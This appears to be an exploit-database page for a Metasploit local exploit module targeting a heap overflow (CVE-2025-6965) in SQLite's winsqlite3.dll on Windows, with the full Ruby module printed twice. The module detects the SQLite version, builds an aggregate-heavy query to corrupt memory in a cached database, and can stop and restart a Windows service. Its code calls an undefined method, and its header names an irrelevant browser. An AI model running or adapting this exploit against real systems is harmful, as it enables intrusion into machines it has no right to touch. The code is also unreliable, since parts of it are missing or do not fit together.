9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems. It first attempts to detect the installed SQLite version, then generates a specially crafted database...
Basic Information
ID
PACKETSTORM:219850
Published
Apr 27, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : SQLite 3.50.1 winsqlite3.dll Heap Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.sqlite.org |
==================================================================================================================================
[+] Summary : This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems.
It first attempts to detect the installed SQLite version,
then generates a specially crafted database and SQL workload containing an excessive number of aggregate functions designed to trigger memory corruption.
[+] POC :
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQLite winsqlite3.dll Heap Overflow (CVE-2025-6965)',
'Description' => %q{
This module exploits a heap overflow vulnerability in SQLite versions prior to 3.50.2.
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'References' => [['CVE', '2025-6965']],
'Platform' => 'win'
)
)
register_options([
OptString.new('DB_PATH', [false, 'Local database path', 'cve_2025_6965_winsqlite3.db']),
OptInt.new('AGGREGATE_COUNT', [true, 'Number of aggregates', 100]),
OptString.new('SERVICE_NAME', [false, 'Target service name', '']),
OptString.new('AD_CACHE_DIR', [false, 'AD cache directory', 'C:\\Temp']),
OptString.new('AD_DB_TARGET', [false, 'Target DB name', 'ad_cache.db']),
OptBool.new('FORCE_SERVICE_RESTART', [false, 'Restart service after exploitation', false])
])
end
def check
print_status("Checking SQLite version...")
sqlite_version = get_sqlite_version
if sqlite_version.nil?
return Exploit::CheckCode::Unknown
end
print_status("SQLite version detected: #{sqlite_version}")
if sqlite_version < Gem::Version.new('3.50.2')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Starting exploitation")
check_result = check
if check_result == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target appears patched")
end
db_path = create_malicious_database
fail_with(Failure::UnexpectedReply, "DB creation failed") unless db_path
deploy_to_ad_cache(db_path) || fail_with(Failure::UnexpectedReply, "Deploy failed")
trigger_overflow(datastore['AD_CACHE_DIR'] + "\\" + datastore['AD_DB_TARGET'])
if datastore['FORCE_SERVICE_RESTART']
restart_target_service
end
end
def get_sqlite_version
sqlite_paths = [
"#{ENV['WINDIR']}\\System32\\winsqlite3.dll"
]
sqlite_paths.each do |path|
next unless file_exist?(path)
version = file_version(path)
next unless version
if version =~ /(\d+\.\d+\.\d+)/
return Gem::Version.new($1)
end
end
nil
end
def create_malicious_database
print_status("Creating malicious database...")
db_path = datastore['DB_PATH']
sql_script = "CREATE TABLE IF NOT EXISTS ad_cache (id INTEGER PRIMARY KEY, val INTEGER);"
temp_sql = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(8)}.sql"
write_file(temp_sql, sql_script)
cmd_exec("sqlite3 \"#{db_path}\" < \"#{temp_sql}\"")
rm_f(temp_sql)
file_exist?(db_path) ? db_path : nil
end
def generate_malicious_query(num)
parts = []
num.to_i.times do |i|
parts << "COUNT(*) AS c#{i}"
parts << "SUM(val) AS s#{i}"
parts << "AVG(val) AS a#{i}"
end
"SELECT #{parts.join(', ')} FROM ad_cache"
end
def trigger_overflow(db_path)
print_status("Triggering overflow...")
query = generate_malicious_query(datastore['AGGREGATE_COUNT'])
python = <<~PY
import sqlite3
conn = sqlite3.connect('#{db_path}')
cur = conn.cursor()
try:
cur.execute(\"\"\"#{query}\"\"\")
conn.commit()
except Exception as e:
print("Error:", e)
conn.close()
PY
tmp = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(6)}.py"
write_file(tmp, python)
cmd_exec("python \"#{tmp}\"")
rm_f(tmp)
report_vuln(
host: rhost,
name: "CVE-2025-6965 SQLite Heap Overflow"
)
end
def restart_target_service
service = datastore['SERVICE_NAME']
return if service.nil? || service.empty?
return unless service_exists?(service)
cmd_exec("net stop \"#{service}\"")
Rex.sleep(2)
cmd_exec("net start \"#{service}\"")
end
def service_exists?(name)
result = cmd_exec("sc query \"#{name}\"")
return false if result.nil?
!result.include?("FAILED")
end
def exec_cmd(cmd)
return nil unless session
session.shell_command_token(cmd)
end
alias cmd_exec exec_cmd
def write_file(path, content)
session.fs.file.write(path, content) if session
end
def rm_f(path)
cmd_exec("del /F /Q \"#{path}\"")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : SQLite 3.50.1 winsqlite3.dll Heap Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.sqlite.org |
==================================================================================================================================
[+] Summary : This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems.
It first attempts to detect the installed SQLite version,
then generates a specially crafted database and SQL workload containing an excessive number of aggregate functions designed to trigger memory corruption.
[+] POC :
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQLite winsqlite3.dll Heap Overflow (CVE-2025-6965)',
'Description' => %q{
This module exploits a heap overflow vulnerability in SQLite versions prior to 3.50.2.
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'References' => [['CVE', '2025-6965']],
'Platform' => 'win'
)
)
register_options([
OptString.new('DB_PATH', [false, 'Local database path', 'cve_2025_6965_winsqlite3.db']),
OptInt.new('AGGREGATE_COUNT', [true, 'Number of aggregates', 100]),
OptString.new('SERVICE_NAME', [false, 'Target service name', '']),
OptString.new('AD_CACHE_DIR', [false, 'AD cache directory', 'C:\\Temp']),
OptString.new('AD_DB_TARGET', [false, 'Target DB name', 'ad_cache.db']),
OptBool.new('FORCE_SERVICE_RESTART', [false, 'Restart service after exploitation', false])
])
end
def check
print_status("Checking SQLite version...")
sqlite_version = get_sqlite_version
if sqlite_version.nil?
return Exploit::CheckCode::Unknown
end
print_status("SQLite version detected: #{sqlite_version}")
if sqlite_version < Gem::Version.new('3.50.2')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Starting exploitation")
check_result = check
if check_result == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target appears patched")
end
db_path = create_malicious_database
fail_with(Failure::UnexpectedReply, "DB creation failed") unless db_path
deploy_to_ad_cache(db_path) || fail_with(Failure::UnexpectedReply, "Deploy failed")
trigger_overflow(datastore['AD_CACHE_DIR'] + "\\" + datastore['AD_DB_TARGET'])
if datastore['FORCE_SERVICE_RESTART']
restart_target_service
end
end
def get_sqlite_version
sqlite_paths = [
"#{ENV['WINDIR']}\\System32\\winsqlite3.dll"
]
sqlite_paths.each do |path|
next unless file_exist?(path)
version = file_version(path)
next unless version
if version =~ /(\d+\.\d+\.\d+)/
return Gem::Version.new($1)
end
end
nil
end
def create_malicious_database
print_status("Creating malicious database...")
db_path = datastore['DB_PATH']
sql_script = "CREATE TABLE IF NOT EXISTS ad_cache (id INTEGER PRIMARY KEY, val INTEGER);"
temp_sql = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(8)}.sql"
write_file(temp_sql, sql_script)
cmd_exec("sqlite3 \"#{db_path}\" < \"#{temp_sql}\"")
rm_f(temp_sql)
file_exist?(db_path) ? db_path : nil
end
def generate_malicious_query(num)
parts = []
num.to_i.times do |i|
parts << "COUNT(*) AS c#{i}"
parts << "SUM(val) AS s#{i}"
parts << "AVG(val) AS a#{i}"
end
"SELECT #{parts.join(', ')} FROM ad_cache"
end
def trigger_overflow(db_path)
print_status("Triggering overflow...")
query = generate_malicious_query(datastore['AGGREGATE_COUNT'])
python = <<~PY
import sqlite3
conn = sqlite3.connect('#{db_path}')
cur = conn.cursor()
try:
cur.execute(\"\"\"#{query}\"\"\")
conn.commit()
except Exception as e:
print("Error:", e)
conn.close()
PY
tmp = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(6)}.py"
write_file(tmp, python)
cmd_exec("python \"#{tmp}\"")
rm_f(tmp)
report_vuln(
host: rhost,
name: "CVE-2025-6965 SQLite Heap Overflow"
)
end
def restart_target_service
service = datastore['SERVICE_NAME']
return if service.nil? || service.empty?
return unless service_exists?(service)
cmd_exec("net stop \"#{service}\"")
Rex.sleep(2)
cmd_exec("net start \"#{service}\"")
end
def service_exists?(name)
result = cmd_exec("sc query \"#{name}\"")
return false if result.nil?
!result.include?("FAILED")
end
def exec_cmd(cmd)
return nil unless session
session.shell_command_token(cmd)
end
alias cmd_exec exec_cmd
def write_file(path, content)
session.fs.file.write(path, content) if session
end
def rm_f(path)
cmd_exec("del /F /Q \"#{path}\"")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================